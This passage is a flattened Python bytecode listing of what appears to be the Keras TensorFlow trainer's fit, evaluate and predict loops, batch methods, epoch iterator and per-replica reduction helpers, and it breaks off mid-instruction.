CALL_FUNCTION STORE_FAST epoch_iterator LOAD_GLOBAL isinstance LOAD_FAST callbacks LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList LOAD_FAST callbacks LOAD_CONST True LOAD_FAST verbose LOAD_CONST 0 COMPARE_OP != LOAD_FAST verbose LOAD_FAST epochs LOAD_FAST epoch_iterator LOAD_ATTR num_batches LOAD_FAST self LOAD_CONST ('add_history', 'add_progbar', 'verbose', 'epochs', 'steps', 'model') CALL_FUNCTION STORE_FAST callbacks LOAD_CONST False LOAD_FAST self STORE_ATTR stop_training LOAD_FAST self LOAD_METHOD make_train_function CALL_METHOD POP_TOP LOAD_FAST callbacks LOAD_METHOD on_train_begin CALL_METHOD POP_TOP LOAD_CONST None STORE_FAST training_logs LOAD_CONST None STORE_FAST logs EXTENDED_ARG SETUP_LOOP to 470 LOAD_GLOBAL range LOAD_FAST initial_epoch LOAD_FAST epochs CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 468 STORE_FAST epoch LOAD_FAST self LOAD_METHOD reset_metrics CALL_METHOD POP_TOP LOAD_FAST callbacks LOAD_METHOD on_epoch_begin LOAD_FAST epoch CALL_METHOD POP_TOP LOAD_FAST epoch_iterator LOAD_METHOD catch_stop_iteration CALL_METHOD SETUP_WITH to 294 POP_TOP SETUP_LOOP to 290 LOAD_FAST epoch_iterator LOAD_METHOD enumerate_epoch CALL_METHOD GET_ITER FOR_ITER to 288 UNPACK_SEQUENCE STORE_FAST step STORE_FAST iterator LOAD_FAST callbacks LOAD_METHOD on_train_batch_begin LOAD_FAST step CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD train_function LOAD_FAST iterator CALL_METHOD STORE_FAST logs LOAD_FAST callbacks LOAD_METHOD on_train_batch_end LOAD_FAST step LOAD_FAST self LOAD_METHOD _pythonify_logs LOAD_FAST logs CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR stop_training POP_JUMP_IF_FALSE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD get_metrics_result CALL_METHOD STORE_FAST epoch_logs LOAD_FAST validation_data EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _should_eval LOAD_FAST epoch LOAD_FAST validation_freq CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST self LOAD_CONST '_eval_epoch_iterator' LOAD_CONST None CALL_FUNCTION LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL TFEpochIterator LOAD_FAST val_x LOAD_FAST val_y LOAD_FAST val_sample_weight LOAD_FAST validation_batch_size EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_FAST batch_size LOAD_FAST self LOAD_ATTR distribute_strategy LOAD_FAST self LOAD_ATTR steps_per_execution LOAD_FAST validation_steps LOAD_CONST False LOAD_CONST ('x', 'y', 'sample_weight', 'batch_size', 'distribute_strategy', 'steps_per_execution', 'steps_per_epoch', 'shuffle') CALL_FUNCTION LOAD_FAST self STORE_ATTR _eval_epoch_iterator LOAD_FAST self LOAD_ATTR evaluate LOAD_FAST val_x LOAD_FAST val_y LOAD_FAST val_sample_weight LOAD_FAST validation_batch_size EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_FAST batch_size LOAD_FAST validation_steps LOAD_FAST callbacks LOAD_CONST True LOAD_CONST True LOAD_CONST ('x', 'y', 'sample_weight', 'batch_size', 'steps', 'callbacks', 'return_dict', '_use_cached_eval_dataset') CALL_FUNCTION STORE_FAST val_logs LOAD_CONST <code object <dictcomp> at 0x7fab82375780, file "f.py", line 331> LOAD_CONST 'TensorFlowTrainer.fit.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST val_logs LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST val_logs LOAD_FAST epoch_logs LOAD_METHOD update LOAD_FAST val_logs CALL_METHOD POP_TOP LOAD_FAST callbacks LOAD_METHOD on_epoch_end LOAD_FAST epoch LOAD_FAST epoch_logs CALL_METHOD POP_TOP LOAD_FAST epoch_logs STORE_FAST training_logs LOAD_FAST self LOAD_ATTR stop_training POP_JUMP_IF_FALSE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL isinstance LOAD_FAST self LOAD_ATTR optimizer LOAD_GLOBAL optimizers_module LOAD_ATTR Optimizer CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST epochs LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR optimizer LOAD_METHOD finalize_variable_values LOAD_FAST self LOAD_ATTR trainable_weights CALL_METHOD POP_TOP LOAD_GLOBAL getattr LOAD_FAST self LOAD_CONST '_eval_epoch_iterator' LOAD_CONST None CALL_FUNCTION LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self DELETE_ATTR _eval_epoch_iterator LOAD_FAST callbacks LOAD_ATTR on_train_end LOAD_FAST training_logs LOAD_CONST ('logs',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR history RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST name STORE_FAST val LOAD_FAST val LOAD_CONST 'val_' LOAD_FAST name BINARY_ADD MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_METHOD _assert_compile_called LOAD_CONST 'evaluate' CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST '_use_cached_eval_dataset' LOAD_CONST False CALL_METHOD STORE_FAST use_cached_eval_dataset LOAD_FAST kwargs POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Arguments not recognized: ' LOAD_FAST kwargs FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST use_cached_eval_dataset POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _eval_epoch_iterator STORE_FAST epoch_iterator JUMP_FORWARD to 80 LOAD_GLOBAL TFEpochIterator LOAD_FAST x LOAD_FAST y LOAD_FAST sample_weight LOAD_FAST batch_size LOAD_FAST steps LOAD_CONST False LOAD_FAST self LOAD_ATTR distribute_strategy LOAD_FAST self LOAD_ATTR steps_per_execution LOAD_CONST ('x', 'y', 'sample_weight', 'batch_size', 'steps_per_epoch', 'shuffle', 'distribute_strategy', 'steps_per_execution') CALL_FUNCTION STORE_FAST epoch_iterator LOAD_GLOBAL isinstance LOAD_FAST callbacks LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList LOAD_FAST callbacks LOAD_CONST True LOAD_FAST verbose LOAD_CONST 0 COMPARE_OP != LOAD_FAST verbose LOAD_CONST 1 LOAD_FAST epoch_iterator LOAD_ATTR num_batches LOAD_FAST self LOAD_CONST ('add_history', 'add_progbar', 'verbose', 'epochs', 'steps', 'model') CALL_FUNCTION STORE_FAST callbacks LOAD_FAST self LOAD_METHOD make_test_function CALL_METHOD POP_TOP LOAD_FAST callbacks LOAD_METHOD on_test_begin CALL_METHOD POP_TOP LOAD_CONST None STORE_FAST logs LOAD_FAST self LOAD_METHOD reset_metrics CALL_METHOD POP_TOP LOAD_FAST epoch_iterator LOAD_METHOD catch_stop_iteration CALL_METHOD SETUP_WITH to 224 POP_TOP SETUP_LOOP to 220 LOAD_FAST epoch_iterator LOAD_METHOD enumerate_epoch CALL_METHOD GET_ITER FOR_ITER to 218 UNPACK_SEQUENCE STORE_FAST step STORE_FAST iterator LOAD_FAST callbacks LOAD_METHOD on_test_batch_begin LOAD_FAST step CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD test_function LOAD_FAST iterator CALL_METHOD STORE_FAST logs LOAD_FAST callbacks LOAD_METHOD on_test_batch_end LOAD_FAST step LOAD_FAST self LOAD_METHOD _pythonify_logs LOAD_FAST logs CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD get_metrics_result CALL_METHOD STORE_FAST logs LOAD_FAST callbacks LOAD_METHOD on_test_end LOAD_FAST logs CALL_METHOD POP_TOP LOAD_FAST return_dict EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST logs RETURN_VALUE LOAD_FAST self LOAD_METHOD _flatten_metrics_in_order LOAD_FAST logs CALL_METHOD RETURN_VALUE LOAD_GLOBAL TFEpochIterator LOAD_FAST x LOAD_FAST batch_size LOAD_FAST steps LOAD_CONST False LOAD_DEREF self LOAD_ATTR distribute_strategy LOAD_DEREF self LOAD_ATTR steps_per_execution LOAD_CONST ('x', 'batch_size', 'steps_per_epoch', 'shuffle', 'distribute_strategy', 'steps_per_execution') CALL_FUNCTION STORE_FAST epoch_iterator LOAD_GLOBAL isinstance LOAD_FAST callbacks LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL callbacks_module LOAD_ATTR CallbackList LOAD_FAST callbacks LOAD_CONST True LOAD_FAST verbose LOAD_CONST 0 COMPARE_OP != LOAD_FAST verbose LOAD_CONST 1 LOAD_FAST epoch_iterator LOAD_ATTR num_batches LOAD_DEREF self LOAD_CONST ('add_history', 'add_progbar', 'verbose', 'epochs', 'steps', 'model') CALL_FUNCTION STORE_FAST callbacks LOAD_CONST <code object append_to_outputs at 0x7fab542ad810, file "f.py", line 428> LOAD_CONST 'TensorFlowTrainer.predict.<locals>.append_to_outputs' MAKE_FUNCTION STORE_FAST append_to_outputs LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object get_data at 0x7fab542ad270, file "f.py", line 443> LOAD_CONST 'TensorFlowTrainer.predict.<locals>.get_data' MAKE_FUNCTION STORE_FAST get_data LOAD_DEREF self LOAD_METHOD make_predict_function CALL_METHOD POP_TOP LOAD_FAST callbacks LOAD_METHOD on_predict_begin CALL_METHOD POP_TOP LOAD_CONST None STORE_FAST outputs LOAD_FAST epoch_iterator LOAD_METHOD catch_stop_iteration CALL_METHOD SETUP_WITH to 196 POP_TOP SETUP_LOOP to 192 LOAD_FAST epoch_iterator LOAD_METHOD enumerate_epoch CALL_METHOD GET_ITER FOR_ITER to 190 UNPACK_SEQUENCE STORE_FAST step STORE_FAST iterator LOAD_FAST callbacks LOAD_METHOD on_predict_batch_begin LOAD_FAST step CALL_METHOD POP_TOP LOAD_FAST get_data LOAD_FAST iterator CALL_FUNCTION STORE_FAST data LOAD_DEREF self LOAD_METHOD predict_function LOAD_FAST data CALL_METHOD STORE_FAST batch_outputs LOAD_FAST append_to_outputs LOAD_FAST batch_outputs LOAD_FAST outputs CALL_FUNCTION STORE_FAST outputs LOAD_FAST callbacks LOAD_METHOD on_predict_batch_end LOAD_FAST step LOAD_CONST 'outputs' LOAD_FAST batch_outputs BUILD_MAP CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST callbacks LOAD_METHOD on_predict_end CALL_METHOD POP_TOP LOAD_GLOBAL tree LOAD_METHOD map_structure_up_to LOAD_FAST batch_outputs LOAD_GLOBAL potentially_ragged_concat LOAD_FAST outputs CALL_METHOD STORE_FAST outputs LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_GLOBAL convert_to_np_if_not_ragged LOAD_FAST outputs CALL_METHOD RETURN_VALUE LOAD_FAST outputs LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_CONST <code object <lambda> at 0x7fab82375030, file "f.py", line 431> LOAD_CONST 'TensorFlowTrainer.predict.<locals>.append_to_outputs.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST batch_outputs CALL_METHOD STORE_FAST outputs JUMP_FORWARD to 48 LOAD_GLOBAL tree LOAD_METHOD map_structure_up_to LOAD_FAST batch_outputs LOAD_CONST <code object <lambda> at 0x7fab542ad0c0, file "f.py", line 437> LOAD_CONST 'TensorFlowTrainer.predict.<locals>.append_to_outputs.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST outputs LOAD_FAST batch_outputs CALL_METHOD POP_TOP LOAD_FAST outputs RETURN_VALUE LOAD_FAST batch_output BUILD_LIST RETURN_VALUE LOAD_FAST output LOAD_METHOD append LOAD_FAST batch_output CALL_METHOD RETURN_VALUE BUILD_LIST STORE_FAST data SETUP_LOOP to 120 LOAD_GLOBAL range LOAD_DEREF self LOAD_ATTR steps_per_execution CALL_FUNCTION GET_ITER FOR_ITER to 118 STORE_FAST _ SETUP_EXCEPT to 34 LOAD_GLOBAL next LOAD_FAST iterator CALL_FUNCTION STORE_FAST single_step_data POP_BLOCK JUMP_FORWARD to 106 DUP_TOP LOAD_GLOBAL StopIteration LOAD_GLOBAL tf LOAD_ATTR errors LOAD_ATTR OutOfRangeError BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 92 LOAD_GLOBAL hasattr LOAD_FAST data LOAD_CONST '__len__' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST data RETURN_VALUE LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 106 END_FINALLY LOAD_FAST data LOAD_METHOD append LOAD_FAST single_step_data CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST data RETURN_VALUE LOAD_FAST self LOAD_METHOD _assert_compile_called LOAD_CONST 'train_on_batch' CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD make_train_function CALL_METHOD POP_TOP LOAD_FAST class_weight LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_DEREF sample_weight LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Arguments `sample_weight` and `class_weight` cannot be specified at the same time. Received: sample_weight=' LOAD_DEREF sample_weight FORMAT_VALUE LOAD_CONST ', class_weight=' LOAD_FAST class_weight FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL data_adapter_utils LOAD_METHOD class_weight_to_sample_weights LOAD_DEREF y LOAD_FAST class_weight CALL_METHOD STORE_DEREF sample_weight LOAD_CLOSURE sample_weight LOAD_CLOSURE x LOAD_CLOSURE y BUILD_TUPLE LOAD_CONST <code object data at 0x7fab542aded0, file "f.py", line 495> LOAD_CONST 'TensorFlowTrainer.train_on_batch.<locals>.data' MAKE_FUNCTION STORE_FAST data LOAD_FAST self LOAD_METHOD train_function LOAD_FAST data CALL_FUNCTION CALL_METHOD STORE_FAST logs LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_CONST <code object <lambda> at 0x7fab542ad4b0, file "f.py", line 499> LOAD_CONST 'TensorFlowTrainer.train_on_batch.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST logs CALL_METHOD STORE_FAST logs LOAD_FAST return_dict POP_JUMP_IF_FALSE LOAD_FAST logs RETURN_VALUE LOAD_FAST self LOAD_METHOD _flatten_metrics_in_order LOAD_FAST logs CALL_METHOD RETURN_VALUE LOAD_DEREF x LOAD_DEREF y LOAD_DEREF sample_weight BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST x CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD _assert_compile_called LOAD_CONST 'test_on_batch' CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD make_test_function CALL_METHOD POP_TOP LOAD_CLOSURE sample_weight LOAD_CLOSURE x LOAD_CLOSURE y BUILD_TUPLE LOAD_CONST <code object data at 0x7fab542adc90, file "f.py", line 514> LOAD_CONST 'TensorFlowTrainer.test_on_batch.<locals>.data' MAKE_FUNCTION STORE_FAST data LOAD_FAST self LOAD_METHOD test_function LOAD_FAST data CALL_FUNCTION CALL_METHOD STORE_FAST logs LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_CONST <code object <lambda> at 0x7fab542ad780, file "f.py", line 518> LOAD_CONST 'TensorFlowTrainer.test_on_batch.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST logs CALL_METHOD STORE_FAST logs LOAD_FAST return_dict POP_JUMP_IF_FALSE LOAD_FAST logs RETURN_VALUE LOAD_FAST self LOAD_METHOD _flatten_metrics_in_order LOAD_FAST logs CALL_METHOD RETURN_VALUE LOAD_DEREF x LOAD_DEREF y LOAD_DEREF sample_weight BUILD_TUPLE YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST x CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD make_predict_function CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD predict_function LOAD_FAST x BUILD_TUPLE BUILD_LIST CALL_METHOD STORE_FAST batch_outputs LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_GLOBAL convert_to_np_if_not_ragged LOAD_FAST batch_outputs CALL_METHOD STORE_FAST batch_outputs LOAD_FAST batch_outputs RETURN_VALUE LOAD_BUILD_CLASS LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object DeprecatedCompiledMetric at 0x7fab542adb70, file "f.py", line 533> LOAD_CONST 'DeprecatedCompiledMetric' MAKE_FUNCTION LOAD_CONST 'DeprecatedCompiledMetric' CALL_FUNCTION STORE_FAST DeprecatedCompiledMetric LOAD_FAST DeprecatedCompiledMetric CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TensorFlowTrainer.compiled_metrics.<locals>.DeprecatedCompiledMetric' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object update_state at 0x7fab542adc00, file "f.py", line 534> LOAD_CONST 'TensorFlowTrainer.compiled_metrics.<locals>.DeprecatedCompiledMetric.update_state' MAKE_FUNCTION STORE_NAME update_state LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_ATTR _compiled_metrics_update_state LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('sample_weight',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL warnings LOAD_ATTR warn LOAD_CONST '`model.compiled_metrics()` is deprecated. Instead, use e.g.:\n```\nfor metric in self.metrics:\n metric.update_state(y, y_pred)\n```\n' LOAD_CONST 2 LOAD_CONST ('stacklevel',) CALL_FUNCTION POP_TOP SETUP_LOOP to 74 LOAD_FAST self LOAD_ATTR metrics GET_ITER FOR_ITER to 72 STORE_FAST metric LOAD_GLOBAL isinstance LOAD_FAST metric LOAD_GLOBAL metrics_module LOAD_ATTR Mean CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST metric LOAD_ATTR update_state LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('sample_weight',) CALL_FUNCTION POP_TOP JUMP_ABSOLUTE LOAD_FAST metric LOAD_ATTR update_state LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('sample_weight',) CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST '`model.compiled_loss()` is deprecated. Instead, use `model.compute_loss(x, y, y_pred, sample_weight)`.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR compute_loss LOAD_CONST None LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('x', 'y', 'y_pred', 'sample_weight') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST '`model.loss` is deprecated. Instead, use `model.compute_loss(x, y, y_pred, sample_weight)`.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR compute_loss LOAD_CONST None LOAD_FAST y LOAD_FAST y_pred LOAD_FAST sample_weight LOAD_CONST ('x', 'y', 'y_pred', 'sample_weight') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TFEpochIterator' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab542ad1e0, file "f.py", line 577> LOAD_CONST 'TFEpochIterator.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object enumerate_epoch at 0x7fab542ad5d0, file "f.py", line 582> LOAD_CONST 'TFEpochIterator.enumerate_epoch' MAKE_FUNCTION STORE_NAME enumerate_epoch LOAD_CONST <code object tf_sync at 0x7fae2f37a540, file "f.py", line 609> LOAD_CONST 'TFEpochIterator.tf_sync' MAKE_FUNCTION STORE_NAME tf_sync LOAD_NAME contextlib LOAD_ATTR contextmanager LOAD_CONST <code object catch_stop_iteration at 0x7fae2f37a5d0, file "f.py", line 612> LOAD_CONST 'TFEpochIterator.catch_stop_iteration' MAKE_FUNCTION CALL_FUNCTION STORE_NAME catch_stop_iteration LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST distribute_strategy LOAD_FAST self STORE_ATTR _distribute_strategy LOAD_CONST 0 LOAD_FAST self STORE_ATTR _steps_seen LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR steps_per_epoch POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _current_iterator POP_JUMP_IF_TRUE LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR _distribute_strategy LOAD_METHOD experimental_distribute_dataset LOAD_FAST self LOAD_ATTR data_adapter LOAD_METHOD get_tf_dataset CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_FAST self STORE_ATTR _current_iterator SETUP_LOOP to 182 LOAD_GLOBAL range LOAD_CONST 0 LOAD_FAST self LOAD_ATTR steps_per_epoch LOAD_FAST self LOAD_ATTR steps_per_execution CALL_FUNCTION GET_ITER FOR_ITER to 72 STORE_FAST step LOAD_FAST step LOAD_FAST self LOAD_ATTR _current_iterator BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 182 LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR _distribute_strategy LOAD_METHOD experimental_distribute_dataset LOAD_FAST self LOAD_ATTR data_adapter LOAD_METHOD get_tf_dataset CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST iterator LOAD_FAST self LOAD_ATTR num_batches POP_JUMP_IF_FALSE SETUP_LOOP to 182 LOAD_GLOBAL range LOAD_CONST 0 LOAD_FAST self LOAD_ATTR num_batches LOAD_FAST self LOAD_ATTR steps_per_execution CALL_FUNCTION GET_ITER FOR_ITER to 138 STORE_FAST step LOAD_FAST step LOAD_FAST iterator BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 182 LOAD_CONST -1 STORE_FAST step SETUP_LOOP to 182 LOAD_FAST step LOAD_FAST self LOAD_ATTR steps_per_execution INPLACE_ADD STORE_FAST step LOAD_FAST step LOAD_CONST 1 BINARY_ADD LOAD_FAST self STORE_ATTR _steps_seen LOAD_FAST step LOAD_FAST iterator BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR data_adapter LOAD_METHOD on_epoch_end CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL tf_context LOAD_METHOD async_wait CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 20 LOAD_CONST None YIELD_VALUE POP_TOP LOAD_FAST self LOAD_METHOD tf_sync CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 96 DUP_TOP LOAD_GLOBAL StopIteration LOAD_GLOBAL tf LOAD_ATTR errors LOAD_ATTR OutOfRangeError BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR _num_batches LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _steps_seen LOAD_FAST self STORE_ATTR _num_batches LOAD_GLOBAL warnings LOAD_ATTR warn LOAD_CONST 'Your input ran out of data; interrupting training. Make sure that your dataset or generator can generate at least `steps_per_epoch * epochs` batches. You may need to use the `.repeat()` function when building your dataset.' LOAD_CONST 2 LOAD_CONST ('stacklevel',) CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR _current_iterator LOAD_FAST self LOAD_ATTR data_adapter LOAD_METHOD on_epoch_end CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 96 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_DEREF reduction LOAD_CONST 'auto' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'sum' STORE_DEREF reduction LOAD_CLOSURE reduction LOAD_CLOSURE strategy BUILD_TUPLE LOAD_CONST <code object _reduce at 0x7fae2f37a390, file "f.py", line 688> LOAD_CONST 'reduce_per_replica.<locals>._reduce' MAKE_FUNCTION STORE_FAST _reduce LOAD_GLOBAL tf LOAD_ATTR nest LOAD_METHOD map_structure LOAD_FAST _reduce LOAD_FAST values CALL_METHOD RETURN_VALUE LOAD_GLOBAL _collective_all_reduce_multi_worker LOAD_DEREF strategy CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF reduction LOAD_CONST 'concat' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _multi_worker_concat LOAD_FAST v LOAD_DEREF strategy CALL_FUNCTION RETURN_VALUE LOAD_DEREF reduction LOAD_CONST 'sum' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_DEREF strategy LOAD_ATTR reduce LOAD_CONST 'SUM' LOAD_FAST v LOAD_CONST None LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL _is_per_replica_instance LOAD_FAST v CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST v RETURN_VALUE LOAD_DEREF reduction LOAD_CONST 'first' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_DEREF strategy LOAD_METHOD experimental_local_results LOAD_FAST v CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_DEREF reduction LOAD_CONST 'concat' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _is_tpu_multi_host LOAD_DEREF strategy CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL _tpu_multi_host_concat LOAD_FAST v LOAD_DEREF strategy CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL concat LOAD_DEREF strategy LOAD_METHOD experimental_local_results LOAD_FAST v CALL_METHOD CALL_FUNCTION RETURN_VALUE JUMP_FORWARD to 166 LOAD_DEREF reduction LOAD_CONST 'sum' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_METHOD reduce_sum LOAD_DEREF strategy LOAD_METHOD experimental_local_results LOAD_FAST v CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_GLOBAL ValueError LOAD_CONST '`reduction` must be "first", "concat", "sum", or "auto". Received: reduction=' LOAD_DEREF reduction FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST strategy LOAD_ATTR gather LOAD_FAST v LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST replicas LOAD_GLOBAL _is_per_replica_instance LOAD_FAST v CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR concat LOAD_CONST <code object <listcomp> at 0x7fae2f37adb0, file "f.py", line 722> LOAD_CONST '_multi_worker_concat.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST v LOAD_ATTR values GET_ITER CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST shapes LOAD_FAST strategy LOAD_ATTR gather LOAD_FAST shapes LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST all_shapes JUMP_FORWARD to 98 LOAD_FAST strategy LOAD_ATTR gather LOAD_GLOBAL tf LOAD_ATTR expand_dims LOAD_GLOBAL tf LOAD_METHOD shape LOAD_FAST v CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST all_shapes LOAD_GLOBAL tf LOAD_ATTR split LOAD_FAST replicas LOAD_FAST 